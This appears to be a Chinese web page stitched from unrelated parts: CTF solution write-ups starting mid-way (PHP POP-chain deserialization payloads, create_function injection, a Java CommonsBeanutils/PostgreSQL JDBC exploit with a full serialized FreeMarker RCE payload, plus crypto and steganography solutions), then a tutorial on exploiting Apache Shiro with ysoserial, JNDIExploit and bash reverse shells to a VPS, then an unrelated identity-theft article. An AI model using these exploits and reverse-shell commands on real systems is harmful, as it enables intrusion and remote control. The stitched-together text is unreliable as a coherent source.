O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A13%3A%22SplFileObject%22%3Bs%3A20%3A%22%2FFfffLlllLaAaaggGgGg%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

image.png

其他非预期解:
在__toString()到__invoke()衔接的时候可以直接用phpinfo:

public function __toString()
{
    $new = $this->l1;
    return $new(); // 可以直接调用phpinfo来读取flag
}

完整的pop链:

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定
$t = new To();
$y= new You();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1='phpinfo';      // Luck::__toString()->phpinfo
echo urlencode(serialize($y));
// O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A4%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

然后得到flag
借用一下Hyperion战队师傅的图:
image.png

 

 

what’s my name

@$miao=create_function('$a, $b', $sort_function);
  • 这里有一个典型的create_function的注入
?d0g3="]);}任意代码执行;/*
  • 要进入该函数需要过三个条件
  • 第一个条件
if(preg_match('/^(?:.{5})*include/',$d0g3))
  • 这里要求传参的第6位开始必须是include,提示了使用include函数,
?d0g3="]);}include('利用语句');任意代码执行;/*
  • 第二个条件
strlen($d0g3)==substr($miao, -2)
  • 匿名函数在创建后,函数变量会存储一个值从lambda_1开始,数字不断增大的字符串,且每创建一次,这个字符串数字部分都会增大,除非结束php的进程,刷新网页仍会继续计数
  • 这里需要控制利用语句数目等于匿名函数数字部分后两位,可以通过脚本循环实现
  • 第三个条件
$name===$miao
  • 看上去很简单,和第二个条件一样,比如设定好?name=lambda_10,然后访问5次页面(创建10次匿名函数)即可,但是实际上可以通过下面的语句发现,实际上创建的匿名函数的名字前面会默认带一个\0结束符,在大多数情况下这不会造成任何影响,但是在浏览器地址栏传参时,\0将无法传入
echo var_export($miao);
  • 这个问题也可以通过脚本得到解决
  • 通过dirsearch或者手测,我们可以发现一个admin.php,使用伪协议包含发现里面有大量的假flag(100万行),考虑使用strip_tags过滤掉大量的php标签内的无关信息
  • 由此得出脚本(需要跑一会儿才出得来)
import requests
import re
url=input("请输入地址:")
while 1:
    a=requests.get(url+"?d0g3=%22]);}include(%27php://filter/read=string.strip_tags/resource=admin.php%27);echo 'aaaaaa';/*&name=\0lambda_187")
    if"aaaaaa" in a.text:
        break
    print("尝试中")
print(re.sub("aaaaaa",'',re.sub(r"<code>[\s\S]*?</code>",'',a.text)))
 

ez_java

根据pom.xml,环境存在CB、postgresql依赖,不难想到可以通过CB链来调用getter方法来触发postgresql JDBC攻击,对应的getter方法为BaseDataSource#getConnection
image.png
由于环境不出网,只能选择postgresql JDBC的logger链去写文件。这个可以选择通过覆盖/app/templates/index.ftl打模板注入
但需要注意的是BaseDataSource反序列化逻辑,首先是geturl方法,会把扩展参数和数据库名部分进行一次urlencode导致模板标签被编码掉,读者自行去阅读相关逻辑,进行分析调试
这里可以重写org.postgresql.ds.common.BaseDataSource,将模板注入payload放到serverNames位置避免被编码,重写部分如下:
image.png
text为freemaker模版rce的payload
其次就是触发compare,由于PriorityQueue在黑名单中,这里用treeMap#get来触发compare方法,这里用CC7相关部分触发一哈Map#get
exp

package org.example;

import org.apache.commons.beanutils.BeanComparator;
import org.postgresql.ds.PGSimpleDataSource;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.URLEncoder;
import java.util.*;


import static org.example.Tools.setFieldValue;


public class Main {
    public static void main(String[] args) throws Exception {
      	//设置扩展参数
        PGSimpleDataSource pgSimpleDataSource = new PGSimpleDataSource();
        pgSimpleDataSource.setProperty("connectTimeout","100000000000000000");
        pgSimpleDataSource.setProperty("loggerFile", "/app/templates/index.ftl");
        pgSimpleDataSource.setProperty("loggerLevel", "DEBUG");

        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        setFieldValue(beanComparator, "property", "connection");

        HashMap gadgetHashMap = new HashMap();
        gadgetHashMap.put(pgSimpleDataSource, null);

        TreeMap treeMap = makeTreeMap(beanComparator);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("AaAaAa", treeMap);
        hashMap1.put("BBAaBB", gadgetHashMap);

        HashMap hashMap2 = new HashMap();
        hashMap2.put("AaAaAa", gadgetHashMap);
        hashMap2.put("BBAaBB", treeMap);

        Hashtable table = new Hashtable();
        setFieldValue(table, "count", 2);
        Class nodeC = Class.forName("java.util.Hashtable$Entry");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, hashMap1, 1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, hashMap2, 2, null));
        setFieldValue(table, "table", tbl);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(table);
        oos.close();

        System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray()))));

//        ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
//        ObjectInputStream ois = new Security(in);
//        Object ob = ois.readObject();
    }

    public static TreeMap makeTreeMap(Comparator beanComparator) throws Exception {
        TreeMap treeMap = new TreeMap(beanComparator);

        setFieldValue(treeMap, "size", 1);
        setFieldValue(treeMap, "modCount", 1);

        Class EntryC = Class.forName("java.util.TreeMap$Entry");
        Constructor EntryCons = EntryC.getDeclaredConstructor(Object.class, Object.class, EntryC);
        EntryCons.setAccessible(true);

        setFieldValue(treeMap, "root", EntryCons.newInstance("nivia", 1, null));

        return treeMap;
    }
}

攻击:
/read?exp=rO0ABXNyABNqYXZhLnV0aWwuSGFzaHRhYmxlE7sPJSFK5LgDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA%2FQAAAAAAACHcIAAAAAgAAAAJzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAnQABkFhQWFBYXNxAH4AAj9AAAAAAAAMdwgAAAAQAAAAAXNyACRvcmcucG9zdGdyZXNxbC5kcy5QR1NpbXBsZURhdGFTb3VyY2XHvJ7A3bo18QMAAHhwdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQBMmxvY2FsaG9zdC8%2Fbml2aWE9PCNhc3NpZ24gYWM9c3ByaW5nTWFjcm9SZXF1ZXN0Q29udGV4dC53ZWJBcHBsaWNhdGlvbkNvbnRleHQ%2BPCNhc3NpZ24gZmM9YWMuZ2V0QmVhbignZnJlZU1hcmtlckNvbmZpZ3VyYXRpb24nKT48I2Fzc2lnbiBkY3I9ZmMuZ2V0RGVmYXVsdENvbmZpZ3VyYXRpb24oKS5nZXROZXdCdWlsdGluQ2xhc3NSZXNvbHZlcigpPjwjYXNzaWduIFZPSUQ9ZmMuc2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoZGNyKT4keyJmcmVlbWFya2VyLnRlbXBsYXRlLnV0aWxpdHkuRXhlY3V0ZSI%2FbmV3KCkoImNhdCAvZmxhZyIpfXQAAHQBITwjYXNzaWduIGFjPXNwcmluZ01hY3JvUmVxdWVzdENvbnRleHQud2ViQXBwbGljYXRpb25Db250ZXh0PjwjYXNzaWduIGZjPWFjLmdldEJlYW4oJ2ZyZWVNYXJrZXJDb25maWd1cmF0aW9uJyk%2BPCNhc3NpZ24gZGNyPWZjLmdldERlZmF1bHRDb25maWd1cmF0aW9uKCkuZ2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoKT48I2Fzc2lnbiBWT0lEPWZjLnNldE5ld0J1aWx0aW5DbGFzc1Jlc29sdmVyKGRjcik%2BJHsiZnJlZW1hcmtlci50ZW1wbGF0ZS51dGlsaXR5LkV4ZWN1dGUiP25ldygpKCJjYXQgL2ZsYWciKX1wdXIAAltJTbpgJnbqsqUCAAB4cAAAAAEAAAAAc3IAFGphdmEudXRpbC5Qcm9wZXJ0aWVzORLQenA2PpgCAAFMAAhkZWZhdWx0c3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cQB%2BAAA%2FQAAAAAAACHcIAAAACwAAAAN0AAtsb2dnZXJMZXZlbHQABURFQlVHdAAKbG9nZ2VyRmlsZXQAGC9hcHAvdGVtcGxhdGVzL2luZGV4LmZ0bHQADmNvbm5lY3RUaW1lb3V0dAASMTAwMDAwMDAwMDAwMDAwMDAweHB4cHh0AAZCQkFhQkJzcgARamF2YS51dGlsLlRyZWVNYXAMwfY%2BLSVq5gMAAUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHBzcgArb3JnLmFwYWNoZS5jb21tb25zLmJlYW51dGlscy5CZWFuQ29tcGFyYXRvcuOhiOpzIqRIAgACTAAKY29tcGFyYXRvcnEAfgAaTAAIcHJvcGVydHl0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyACpqYXZhLmxhbmcuU3RyaW5nJENhc2VJbnNlbnNpdGl2ZUNvbXBhcmF0b3J3A1x9XFDlzgIAAHhwdAAKY29ubmVjdGlvbncEAAAAAXQABW5pdmlhc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAF4eHNxAH4AIwAAAAJzcQB%2BAAI%2FQAAAAAAADHcIAAAAEAAAAAJxAH4ABHEAfgAbcQB%2BABhxAH4ABXhxAH4AJXg%3D

 

 

crypto

010101

将前半部分和后半部分分别异或1进行还原,最后得到p

from Crypto.Util.number import long_to_bytes

N = ***
p = ***
m = ***
p = str(p)
e = 65537
flag = False
print(len(p))
for j in range(len(p)):
    p2 = list(p)
    p2[j] = str(int(p[j]) ^ int('1'))  # 将p的第j位与1进行异或
    for i in range(j + 1, len(p)):  # 从p的第j+1位开始遍历
        p3 = list(p2)
        p3[i] = str(int(p[i]) ^ int('1'))  # 将p2的第i位与1进行异或
        if N % int(''.join(p3), 2) == 0:
            modified_p = int(''.join(p3), 2)
            flag = True
            break
    if flag:
        break
q = N // modified_p
phi = (modified_p - 1) * (q - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(m, d, N)))

# D0g3{sYuWzkFk12A1gcWxG9pymFcjJL7CqN4Cq8PAIACObJ}

POA

不断构造IV并发送,接收解密结果,恢复AES CBC解密的中间值,最后与IV进行异或得到

from hashlib import sha256
import itertools
import socket
import string
from Crypto.Util.number import long_to_bytes, bytes_to_long


def proof(broke, Hash):
    assert len(broke) == 16 and len(Hash) == 64
    shaTable = string.ascii_letters + string.digits
    for ii in itertools.permutations(shaTable, 4):
        x = ''.join(ii)
        s = x + broke
        if sha256(s.encode()).hexdigest() == Hash:
            print(x)
            return x


def con():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('124.71.177.14', 10010))
    proof_data = sock.recv(2048)
    send_proof = (proof(proof_data[14:30].decode(), proof_data[32:96].decode())).encode()
    sock.recv(2048)
    sock.send(send_proof)
    data1 = sock.recv(2048)
    print(data1.decode())
    sock.send('1\n'.encode())
    cipher = sock.recv(4096).decode().split(' ')[-1]
    print(cipher)
    guess_iv = [0 for _ in range(16)]
    restore_midd = [0 for _ in range(16)]
    index = 1

    for i in range(15, -1, -1):
        for j in range(0, 256):
            sock.send('2'.encode())
            txt = sock.recv(4096).decode()
            guess_iv[i] = j
            mess = bytes(guess_iv).hex() + cipher[32:]
            sock.send(('%s\n' % mess).encode())
            result = sock.recv(4096).strip().decode()
            if result == 'True':
                print('find')
                restore_midd[i] = index ^ j
                for k in range(15, i - 1, -1):
                    guess_iv[k] = restore_midd[k] ^ (index + 1)
                break
        index += 1

    m = bytes_to_long(bytes(restore_midd)) ^ int(cipher[:32], 16)
    print(long_to_bytes(m))


if __name__ == '__main__':
    con()

Rabin

解方程恢复e1, e2
解RSA+RSA Rabin

from Crypto.Util.number import isPrime, long_to_bytes
from decimal import Decimal, getcontext
from sympy import *
import itertools
import gmpy2
getcontext().prec = 4096  # To get all digits


def quadratic(b, c):
    b, c = Decimal(b), Decimal(c)
    disc = b ** 2 - 4 * c
    return (-b + disc.sqrt()) / 2, (-b - disc.sqrt()) / 2


n = 250814637051807819966792611245960610922650272171774421100096725362876110354331644672361070288421932814011240278013930236506935606208856158245203226575206173399353228955646434946185162337249508916173886601690750176079643923598040239558820163968619858461299932945052867416892052800080380065469520552769729908237916948231811852512702334673059498173828710097943836553665421008502790227505238045663138503444330272778394062239358945912631242535901236920740968520395320695821881700272436374765803456467229511027996411612705127440152548517761802229692762942039810655711762857733655968843311390554894490989464889063115195307376546315206091850157113517967028388112696773322299195386885674487736953704278131208605733928620385647653506188387270203806469091593555942596009391614056683438954798377100513743826890914546813802825956772601161008749865452605755445313141047898707485333785540081269386385654187051443297745903924802393853636159179216465330611652590550085005018159338383332480775331023418636856327968211907
inv_p = 18572680482956333849695203716461713104773047923602099298094682396862191850514405358287530759577107822437397076448196882484810348534389142512538132336772660002619635584317411507556898261467535786390472312057865009529503815275471152631242674775023579999529144217652870406017527500924054906365970316171601724395
inv_q = 136535048380593205200147274200607623672178047616047871024461976135751463050074132537068629202262492753981526789311501011207084603084500046237452580036584406621193450044354252290673799669278685039786072212806149907642025392079172459205884032545048534994511661271942133535933734878627347694553081776269463131011
c1 = 24438369699277358577099809092522666507794264940897211362396512304628436041222873422281052071040304574363510205249804316939250072085516605409716236630122437693098107965690357983662511641360852519159201210407149426013456665654927559031576450707769140579811457087575821158806216834589419118616293649134570029348864168061503995325421166403367212784956918879123538609647020213238539717446246806658900303124564032457968947891973269315221759825010175759282900948586059414233078011374547085622341941301930819816001572766834718060688545069956096308661744521329011217013954462888420216389590625029416601914841651975749769319907679957725817987535287875463052512829357180018005408137318173906769605861407680810593420749995979362702366940275048900413734250464314983304164277188084351968745605375769912296693849464371792448471466297537539956183639108372537896814803224393949374263943947266927232857089835606620154448584587895531774998281005520646293399213187296591877953310626414259916310440526985379452834140797344
c2 = 223295770243896926174824405932791118562132019446137106707499244470470652130983482933886296317979962549790414754161520435096091469226090668617978924038597496895109870016050016361204593776094886916554978524328312654899592058243030170843460725094455369392386666825873918339575610780772636586002747595613558066320125773587684070090772498121214867506696972158540355910065773892648404521506595636503850295827650330993678348250267770526157595871258640949265795928803796357149879172931040916773382169296914793584970211453674931039251561404963603173087988508276297347805041885971003956420812510128302146772371481501739596756529250961807845809297176387467035756066576014695851369095199182667219429449627072080517064563211041402250659878953388165820020061897516163246110562240123389210713625152448308461232879889286613844389367421303837747532095262647017908028398324773681913209915202010758289748837739798240683937739276900417861582443180262419471329076908687714213527415105489215148326758425520069134366726191206
r = 2
while True:
    r = r * 8
    if r.bit_length() > 1024 and isPrime(r - 1):
        r = r - 1
        break
print(int(r))
pq = n // r

k1k2 = inv_p * inv_q - 1
alpha_times_beta = k1k2 * pq
alpha_plus_beta = pq * inv_p * inv_q - 1 - k1k2 * pq
e1 = 2
e2 = 5
alpha, beta = quadratic(-alpha_plus_beta, alpha_times_beta)
p = gcd(pq, int(alpha))
q = gcd(pq, int(beta))
assert p * q == pq
p, q = symbols("p q")
eq1 = Eq(inv_p * p + inv_q * q - pq - 1, 0)
eq2 = Eq(p * q, pq)
sol = solve((eq1, eq2), (p, q))
print(sol)
p = int(155067211748080035817706240824444294173177315452053655302198450440797223063993902553854738130782449160496432645166392115875035577949847055717925643946457912682751338169862368227051614666060761234405201526539028698479896781769397552330889288635473271948706547821980919655770653459515096024615873307927376930323)
q = int(155406237257371285686734630614272846342794427544939674750800108880031404165544180838277971813657235395399719426255865993550582439955633684106295486647395174391393520922781711164275517262754514023537536287360365851886349215688978809822032291068515106418115813510512126616124030805066436158518403149436994756207)
print(isPrime(p), p)
print(isPrime(q), q)
print(isPrime(r))
phi = (p - 1) * (q - 1) * (r - 1)
print(phi)
d2 = gmpy2.invert(e2, phi)
m2 = pow(c2, d2, n)
print(long_to_bytes(m2))
mp = pow(c1, (p + 1) // 4, p)
mq = pow(c1, (q + 1) // 4, q)
mr = pow(c1, (r + 1) // 4, r)

bp = n // p
bq = n // q
br = n // r
ap = pow(bp, -1, p)
aq = pow(bq, -1, q)
ar = pow(br, -1, r)

for sp, sq, sr in itertools.product((-1, 1), repeat=3):
    m = (sp * ap * bp * mp + sq * aq * bq * mq + sr * ar * br * mr) % n
    m = long_to_bytes(m)
    if b"D0g3" in m:
        print(m)
 

misc

dacongのsecret

得到一个压缩包和一个png

用工具或者脚本提取一下水印得到密码

QQ截图20231031201722.jpg
QQ截图20231031201800.jpg
得到一个password的d@C0ng 1s cUt3!!!
根据题目提示推出png不止一个秘密
继续用pngcheck打开dacong1hao.png
QQ截图20231103161610.png
发现在尾部的idat头不对
010打开
找到有两个IDATx
直接手动搜索IDATx把第一部分IDATx删掉
QQ截图20231115183749.png
保存后得到如下图片
QQ截图20231127224849.png
爆破一下宽高得到key
QQ截图20231127225006.png
wH1T3_r0cckEt_sh00ter
猜测可能是后边用到的
用前边水印的密码打开压缩包得到一张jpg
用010打开末尾有一串hex值
QQ截图20231115185454.png
根据特征判断是一个压缩包的hex值倒序
手动提取出来打开发现需要密码
正好用之前的key解开
得到一串base64密文
由于有很多行base
猜测可能是base64隐写
用以下脚本跑出base64隐写的数据

d='''str
'''
e=d.splitlines()
binstr=""
base64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
for i in e :
    if i.find("==")>0:
        temp=bin((base64.find(i[-3])&15))[2:]
        #取倒数第3个字符,在base64找到对应的索引数(就是编码数),取低4位,再转换为二进制字符
        binstr=binstr + "0"*(4-len(temp))+temp #二进制字符补高位0后,连接字符到binstr
    elif i.find("=")>0:
        temp=bin((base64.find(i[-2])&3))[2:] #取倒数第2个字符,在base64找到对应的索引数(就是编码数),取低2位,再转换为二进制字符
        binstr=binstr + "0"*(2-len(temp))+temp #二进制字符补高位0后,连接字符到binstr
str=""
for i in range(0,len(binstr),8):
    str=str+chr(int(binstr[i:i+8],2)) #从左到右,每取8位转换为ascii字符,连接字符到字符串
print(str) 

得到一个pass
m1ku_1s_sha_fufu123
QQ截图20231101223417.jpg
最后用该秘密通过jphs解出得到flag
QQ截图20231102195944.jpg
打开得到flag
image-20231224135701085
flag{d@C0ng_1s_r3@lIy_Re@iLY_Cute}

 

dacongのWindows

由于win10可能不怎么兼容vol2,需要制作profile,所以建议使用vol3解题
QQ截图20231115192308.png
首先文件检索一下关键词wav,可以发现有很多的wav,暂时先放着
继续搜索一下txt关键词
QQ截图20231115192429.png
这里找到两个关键的txt,先dump下来看下
QQ截图20231115192531.png
先打开看一下do_you_want_listen
QQ截图20231115192616.png
do_you_want_liten.txt里提示了miku有一首歌叫做’???music‘
搜索一下歌名可以知道歌曲叫做39music!
QQ截图20231108193721.png
结合文件名以及该txt所在的位置猜测是对之前的wav提示
那么把dacong39.wav下载出来
QQ截图20231115192943.png
打开听一下是sstv
那么手机打开robot36得到第一段flag
QQ图片20231108194442.jpg
flag{Ar3_Th3Y
然后这里笨B出题人做镜像忘记把winrar打开了
但是也可以通过rar关键词找到一个rar
QQ截图20231115193359.png
一样dump下来
解压后是flag2
QQ截图20231115193455.png
根据翻译推测可能是snow加密
QQ截图20231109135844.png
直接解一下,发现是无密码的snow
QQ截图20231109142315.png
得到第二段flag
_tHE_Dddd
然后回头看之前的flag3
QQ截图20231115193712.png
是一串加密,但是结合题目的描述,有什么重要的表被修改,猜测需要密钥
在注册表里找到
QQ截图20231115193958.png
解一下是aes
得到第三段flag
QQ截图20231110140108.png
dAc0Ng_SIst3Rs???}
flag{Ar3_Th3Y_tHE_DddddAc0Ng_SIst3Rs???}

 

 

疯狂的麦克斯

麦克斯的称号这个文件存在0宽隐写
解密得到 mks007
打开嗨.zip,存在一个docx文件,可以直接改后缀为zip,也可以Binwalk分离出来,这里就存在一个 MKS IM麦克斯.txt这个文件1o1tvvkgyrw13506.png
打开txt文件得到
p2sipmw0m4r13511.png
翻到最下面有
4f4im1qbjnb13514.png
凭这里看出应该是某种加密
结合前面的mks007,可能是凯撒偏移
尝试将mks007转换为整数,进行凯撒偏移,得到THISISMKSDOYOUKNOWWHOAMI
(预期外:通过维吉尼亚解密,密钥为e,通过rot13,为22)
此时对整个文档进行偏移

def caesar_decipher(text, shift):
    result = ""

    for char in text:
        if char.isalpha():
            alphabet = ord('a') if char.islower() else ord('A')
            shifted = (ord(char) - alphabet - shift) % 26  # 逆向偏移
            result += chr(alphabet + shifted)
        else:
            result += char

    return result

# 读取加密后的文件内容
with open('MKS.txt', 'r') as file:
    encrypted_content = file.read()

# 自定义偏移量
offset = "mks007"

# 将偏移量转换为整数
shift = sum(ord(char) for char in offset) - len(offset) * ord('a')

# 对内容进行逆向凯撒偏移
decrypted_content = caesar_decipher(encrypted_content, shift)

# 将解密后的内容写入新文件
with open('mksnew.txt', 'w') as file:
    file.write(decrypted_content)

此时作用于文件所有内容,然后根据麦克斯MAX遍历出其中最大值,得到456788P。
虽然好像都是通过直接爆破得来的,不过也能爆破,也算是一种解
FLAG的密码就是456788P base64后的
NDU2Nzg4UA==
D0g3{Th1s_REA11Y_MAX_F1A4_GGB0ND}

 

Nahida

题目给一个压缩包
里面有一个txt文件和一个Nahida文件
其中txt仅作为提示(wink眨眼睛,和眼睛有关),并没有藏东西
查看另一个文件
image.png
可以看到是FF D8 FF E0倒过来的,所以写脚本进行倒置
Nahida是通过脚本加密的,原文件为一个jpg文件,通过对hex进行分组前后交换得到
故写解密脚本

def swap_positions(hex_string):
    # 将每两位进行位置交换
    swapped = ''.join([hex_string[i+1] + hex_string[i] for i in range(0, len(hex_string), 2)])

    return swapped

def decrypt_image_hex(encrypted_image_path):
    # 打开加密的文件
    with open(encrypted_image_path, 'rb') as file:
        encrypted_data = file.read()

    # 将加密的字节数据转换为16进制字符串
    encrypted_hex = encrypted_data.hex()

    # 组间交换位置
    swapped_hex = swap_positions(encrypted_hex[::-1])

    # 组内交换位置
    grouped_hex = [swap_positions(swapped_hex[i:i+2]) for i in range(0, len(swapped_hex), 2)]

    # 将16进制字符串转换回字节数据
    decrypted_data = bytes.fromhex(''.join(grouped_hex))

    # 生成解密后的文件
    decrypted_image_path = 'decrypted_image.jpg'
    with open(decrypted_image_path, 'wb') as decrypted_file:
        decrypted_file.write(decrypted_data)

    return decrypted_image_path

# 测试解密函数
encrypted_image_path = 'test.jpg'  # 替换为加密图片的路径
decrypted_image_path = decrypt_image_hex(encrypted_image_path)
print("解密后的文件路径:", decrypted_image_path)

得到jpg,在图片的最后看到一串字符串,
image.png
提示 神之眼(再次提示静默之眼),以及眼的密码在最开始就得到,也就是题目名Nahida
d0g3{Nahida_is_the_best_in_the_world!}

 

原文链接地址:https://dce.i-soon.net/#/group/detail/31

获取环境:

拉取镜像到本地

启动环境

$ docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

1.使用shiro_attack_2.2工具对目标系统进行检查,发现有默认key但是无利用链

image_ylgMY223mT.png

2.使用shior_tools.jar 直接对目标系统进行检测,检测完毕后会返回可执行操作

java   -jar  shiro_tool.jar http://10.11.10.108:8081/login.jsp 

h35gsf3ziqd13275.png

2、选0让输入dnslog地址,通过dnslog测试有回显,这里有个注意点:使用 http://dnslog.cn/ 部分站点会拦截,可以换多个dnslog平台测试

image_htB_EhwPH9.png

dnslog有回显接下来就是拿shell了,这里由于固定思维,之前遇到的都是linux系统,先入为主觉得是Linux,结果没利用成功,一开始以为是防火墙拦截,后面探测了一下目录结构,发现是windows,所以这里payload要改变一下

3、在公网VPS上使用ysoserial开启端口,执行反弹命令

java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 1999 CommonsCollections5 "编码后bash命令"

 ugbjqz0koxh13280.png

image_wvD-c4KvV-.png

rljbahtodvh13285.jpg

 这里面的编码的内容在步骤4

坑一:CommonsCollection1-5 如果不反弹shell,换着使用

4、bash反弹命令编辑

https://x.hacking8.com/java-runtime.html //编码的链接

下面三种执行命令,酌情选择:

坑二:这里执行的bash命令,首先要看对方运行系统,如果是linxu下面三个换着试,如果是win另行百度反弹命令。

bash -i >& /dev/tcp/VPSIP/7777 0>&1

/bin/bash -i > /dev/tcp/VPSIP/7777 0<&1 2>&1

0<&196;exec 196<>/dev/tcp/VPSIP/7777; sh <&196 >&196 2>&196

这里选择第二种,ip:是接受shell的vps的ip,端口:是vps用nc开启监听反弹到的端口

/bin/bash -i > /dev/tcp/192.168.14.222/8888  0<&1 2>&1


 rfc3iisi3kk13287.png

 

 

Windows:
java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils2 "ldap://VPS地址:1389/Basic/Command/Base64/d2hvYW1p"  
d2hvYW1p为命令的base64,这里是执行命令whoami
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i VPS地址

 

5、nc监听

yxbp4nctqjh13289.png

6、输入接收shell的vps的ip和java-ysoserial-JRMPListener开启的端口(这里选择1,使用JRMPClient反弹shell)

 uvdg0t0uizm13291.png


7、执行成功,反弹shell

 bhzwsbvnada13293.png

 

 ucevzoxrqr313295.png

 gxekd55faok13297.png


微信截图_20230204153840.png

在當今的數字世界中,身份盜竊是一個日益嚴重的問題。隨著網上的個人信息越來越多,我們很難保護自己不受惡意行為者的傷害,他們可能會出於惡意目的使用我們的數據。

雖然這似乎是一個難以解決的問題,但下述20步指南將教你如何防止身份盜竊,讓你擁有保持安全並保護個人數據所需的知識。

什麼是身份盜竊?長話短說,身份盜竊是指非法使用某人的個人信息。

美國司法部解釋稱,身份盜竊是指犯罪分子利用他人的個人身份信息(PII)進行詐騙,來獲取非法經濟利益。身份盜竊有很多種方式,包括黑客攻擊、金融和社交媒體賬戶收購、信用卡欺詐、網絡釣魚,甚至是勒索軟件攻擊。

當網絡罪犯實施身份欺詐時,他們可能會使用偷來的身份:

開設新賬戶或信用額度;

用偷來的保險信息接受醫療救助;

竊取退稅;

在逮捕事件中提供你的個人證件(姓名、出生日期、地址等)。

2021年,傳統的身份欺詐損失,即涉及任何使用消費者個人信息來獲得非法經濟利益的損失,高達240億美元,致使1500萬美國消費者陷入困境。涉及身份欺詐的損失(與受害者直接接觸)總計280億美元,影響了美國2700萬消費者。

身份盜竊的類型身份盜竊有許多不同類型,每一種都可能是毀滅性的。以下是一些最常見的類型:

金融身份盜竊:指有人使用你的個人信息以你的名義開設新賬戶,並負債累累。這會毀了你的信用評分,讓你背負很多債務;

醫療身份盜竊:指有人使用你的保險信息來獲得醫療或處方藥。這可能會導致你在保險上的虛假索賠,更高的保費,甚至被保險公司拒絕承保;

稅務身份盜竊:當有人使用你的個人信息以你的名義提交納稅申報單並要求退款時,就會發生這種情況。這可能會導致你欠國稅局或州稅務機構的錢,可能需要幾個月甚至幾年的時間來解決這個問題;

犯罪身份盜竊:指有人利用你的個人信息以你的名義犯罪。這可能會導致逮捕和監禁,即使你自己實際上沒有犯過任何罪;

兒童身份盜竊:指有人竊取兒童的個人信息供自己使用。兒童的身份經常被用於金融欺詐或其他犯罪,因為他們通常有良好的信用記錄。這可能會對孩子未來的財務狀況和社會福利產生重大影響。

